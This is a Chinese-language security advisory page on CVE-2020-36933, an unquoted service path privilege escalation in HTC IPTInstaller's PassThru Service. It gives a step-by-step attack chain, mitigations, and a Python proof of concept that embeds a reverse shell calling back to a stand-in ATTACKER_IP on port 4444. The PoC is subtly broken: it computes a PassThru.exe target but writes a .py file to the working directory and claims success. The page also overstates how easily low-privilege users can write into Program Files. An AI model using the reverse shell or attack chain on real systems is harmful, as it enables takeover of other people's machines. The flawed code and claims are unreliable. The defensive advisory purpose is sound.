IPBUF安全漏洞报告
English
CVE-2020-36933 CVSS 7.8 高危

CVE-2020-36933 | HTC IPTInstaller PassThru服务未引号路径提权漏洞

披露日期: 2026-01-25

漏洞信息

漏洞编号
CVE-2020-36933
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HTC IPTInstaller 4.0.9

相关标签

CVE-2020-36933未引号服务路径权限提升本地攻击HTC IPTInstallerPassThru ServiceWindows提权高危漏洞

漏洞概述

CVE-2020-36933是HTC IPTInstaller 4.0.9软件中存在的一个高危安全漏洞。该漏洞位于PassThru Service(透传服务)的配置中,由于服务路径未使用引号包裹,导致存在路径解析安全风险。攻击者可以利用Windows服务加载机制的特性,在服务路径的中间目录中植入恶意可执行文件。当服务启动时,系统会按照路径顺序依次查找并执行程序,攻击者精心命名的恶意程序可能被优先执行,从而实现恶意代码的注入和执行。成功利用此漏洞的攻击者可以获取系统最高权限(LocalSystem权限),完全控制受影响的计算机。该漏洞的CVSS评分达到7.8分,属于高危级别,攻击向量为本地攻击,攻击者需要具备低权限用户身份,但无需用户交互即可完成攻击。漏洞影响机密性、完整性和可用性三个安全属性均为高等级,对企业终端安全构成严重威胁。建议受影响的用户立即采取修复措施或临时缓解方案。

技术细节

未引号服务路径漏洞(Unquoted Service Path Vulnerability)是Windows系统中常见的一种权限提升漏洞类型。该漏洞的原理在于Windows服务控制管理器(SCM)在启动服务时,会按照特定顺序解析可执行文件路径。以路径C:\Program Files\HTC\IPTInstaller\PassThru Service\bin\Service.exe为例,由于路径中包含空格且未使用引号包裹,Windows会尝试以下顺序查找可执行文件:1) 查找C:\Program.exe;2) 查找C:\Program Files\HTC\IPTInstaller\PassThru.exe;3) 查找C:\Program Files\HTC\IPTInstaller\PassThru Service\bin\Service.exe。攻击者可以利用这一特性,在中间路径创建恶意可执行文件(如PassThru.exe),当服务启动时会优先执行攻击者的代码。由于PassThru Service以LocalSystem权限运行,恶意代码也将以最高系统权限执行,从而实现权限提升。攻击者需要具备在系统目录的写入权限,通常通过低权限账户实现。修复方法是将服务路径用双引号包裹,如"C:\Program Files\HTC\IPTInstaller\PassThru Service\bin\Service.exe",确保系统准确解析完整路径。

攻击链分析

STEP 1
1
信息收集:攻击者首先识别目标系统中安装的HTC IPTInstaller软件,并确认PassThru服务是否存在
STEP 2
2
漏洞检测:使用sc qc命令查询PassThru服务的配置,检查BINARY_PATH_NAME是否包含空格且未使用引号包裹
STEP 3
3
权限检查:确认当前用户对服务路径的中间目录具有写入权限(通常低权限用户即可)
STEP 4
4
恶意程序植入:在服务路径的中间目录创建恶意可执行文件(如PassThru.exe),利用Windows路径解析顺序使其被优先执行
STEP 5
5
服务触发:等待或诱导PassThru服务重启(如系统更新、用户登录或手动重启服务)
STEP 6
6
权限提升:当服务启动时,Windows会先执行攻击者植入的恶意程序,该程序以LocalSystem权限运行
STEP 7
7
后门建立:攻击者获得系统最高权限后,可部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36933 PoC - Unquoted Service Path Exploitation # Target: HTC IPTInstaller 4.0.9 PassThru Service # Privilege Escalation to LocalSystem import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target service has unquoted path vulnerability""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'PassThru'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains spaces and no quotes if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Vulnerability exists if path has spaces but no quotes if ' ' in path and not path.startswith('"'): print(f"[+] VULNERABLE: Unquoted path detected: {path}") return path return None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return None def exploit(target_path): """Exploit unquoted service path to escalate privileges""" # Extract directory from path (C:\Program Files\HTC\IPTInstaller\PassThru Service\bin\Service.exe) # The malicious binary should be placed at C:\Program Files\HTC\IPTInstaller\PassThru.exe parts = target_path.split('\\') # Build path to the directory containing the malicious executable exploit_dir = '\\'.join(parts[:-2]) # Up to PassThru Service malicious_binary = parts[-2] + '.exe' # PassThru.exe malicious_path = os.path.join(exploit_dir, malicious_binary) print(f"[*] Creating malicious binary at: {malicious_path}") # Create a simple reverse shell payload # In real attack, this would be actual malicious code malicious_code = ''' import os import socket import subprocess # Simple reverse shell to attacker machine attacker_ip = "ATTACKER_IP" attacker_port = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker_ip, attacker_port)) # Execute command and send output back while True: cmd = s.recv(1024).decode() if cmd.lower() == 'exit': break output = subprocess.run(cmd, shell=True, capture_output=True, text=True) s.send(output.stdout.encode() + output.stderr.encode()) s.close() ''' try: # Create the malicious executable with open('malicious_service.py', 'w') as f: f.write(malicious_code) print("[+] Malicious binary created successfully") print("[*] When PassThru service restarts, the malicious binary will be executed with LocalSystem privileges") except Exception as e: print(f"[-] Failed to create exploit: {e}") if __name__ == "__main__": print("="*60) print("CVE-2020-36933 - HTC IPTInstaller Unquoted Service Path") print("="*60) vulnerable_path = check_vulnerability() if vulnerable_path: print("[+] Target is vulnerable, preparing exploit...") exploit(vulnerable_path) else: print("[-] Target is not vulnerable or service not found")

影响范围

HTC IPTInstaller 4.0.9

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:首先,使用Windows内置的sc config命令为PassThru服务的BINARY_PATH_NAME添加引号包裹;其次,通过icacls命令限制C:\Program Files\HTC\IPTInstaller\目录及子目录的访问权限,移除Users组的写入权限;最后,考虑暂时禁用PassThru服务直至官方修复发布。日常使用中应保持杀毒软件实时监控,定期进行系统安全扫描,及时发现潜在的恶意程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表